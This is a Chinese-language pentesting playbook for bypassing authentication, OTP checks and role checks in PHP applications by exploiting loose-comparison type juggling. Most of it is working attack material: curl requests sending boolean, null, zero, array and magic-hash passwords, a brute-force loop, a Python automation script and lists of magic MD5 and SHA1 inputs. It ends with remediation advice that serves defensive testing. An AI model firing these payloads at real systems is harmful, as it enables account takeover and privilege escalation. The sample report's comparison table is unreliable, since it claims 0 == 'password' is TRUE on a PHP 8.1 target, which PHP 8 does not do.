exploiting-type-juggling-vulnerabilities

利用类型混淆漏洞

何时使用

• 在测试 PHP Web 应用的身份验证绕过漏洞时
• 在评估密码比较和哈希验证逻辑期间
• 在测试使用松散比较（== 而非 ===）的应用时
• 在代码审查处理 JSON 或反序列化输入的 PHP 应用期间
• 在评估依赖类型相关比较的输入验证时

前置条件

• 了解 PHP 类型系统和松散比较行为
• 了解魔术哈希值（0e 前缀）及其科学计数法解释
• 使用 Burp Suite 进行请求操作和参数类型更改
• 用于在本地测试 payload 的 PHP 开发环境
• 从 PayloadsAllTheThings 收集的魔术哈希字符串集合
• 能够发送 JSON 或序列化数据以控制输入类型

法律声明： 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用是违法的，并可能违反计算机欺诈法。

工作流

步骤 1 — 识别类型混淆候选点

# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

步骤 2 — 利用松散比较身份验证绕过

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

步骤 3 — 利用魔术哈希碰撞

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

步骤 4 — 利用访问控制中的比较

# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)

# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"

# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

步骤 5 — 通过反序列化输入利用

# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []

# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)

步骤 6 — 自动化类型混淆测试

# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list

# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python automation
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"

关键概念

概念	描述
松散比较（==）	PHP 比较，在比较值之前执行类型强制转换
严格比较（===）	PHP 比较，要求值和类型都匹配
魔术哈希	哈希以 "0e" 开头后跟数字的字符串，在松散比较中求值为 0
类型强制转换	比较期间类型之间的自动转换（字符串到整数，null 到 0）
strcmp 绕过	向 strcmp() 传递数组返回 NULL，在松散比较中等于 0
JSON 类型控制	使用 JSON 输入向 PHP 端点发送特定类型（布尔值、整数、null）
科学计数法	PHP 在数值比较期间将 "0eN" 字符串解释为指数计数法中的 0

工具与系统

工具	用途
Burp Suite	用于更改请求中参数类型的 HTTP 代理
PHP 交互式 shell	本地测试类型混淆行为
PayloadsAllTheThings	精选的魔术哈希和类型混淆 payload 列表
phpggc	用于反序列化利用的 PHP 通用 gadget 链
自定义 Python 脚本	自动化类型混淆 payload 测试
PHPStan/Psalm	检测代码中松散比较的静态分析工具

常见场景

1. 通过布尔值绕过身份验证 — 发送 "password": true 作为 JSON 以绕过松散比较密码验证
2. 魔术哈希碰撞 — 使用已知的魔术哈希输入（"240610708"），其 MD5 以 "0e" 开头，以匹配存储的哈希
3. strcmp 数组绕过 — 发送 password[]=anything 使 strcmp() 返回 NULL，绕过密码比较
4. PIN/OTP 绕过 — 发送整数 0 作为验证码，以匹配实际代码的 "0e..." 哈希
5. 角色提升 — 发送 "role": true 以在松散比较访问检查中匹配任何非空角色字符串

输出格式

## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel

### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |

### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |

### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files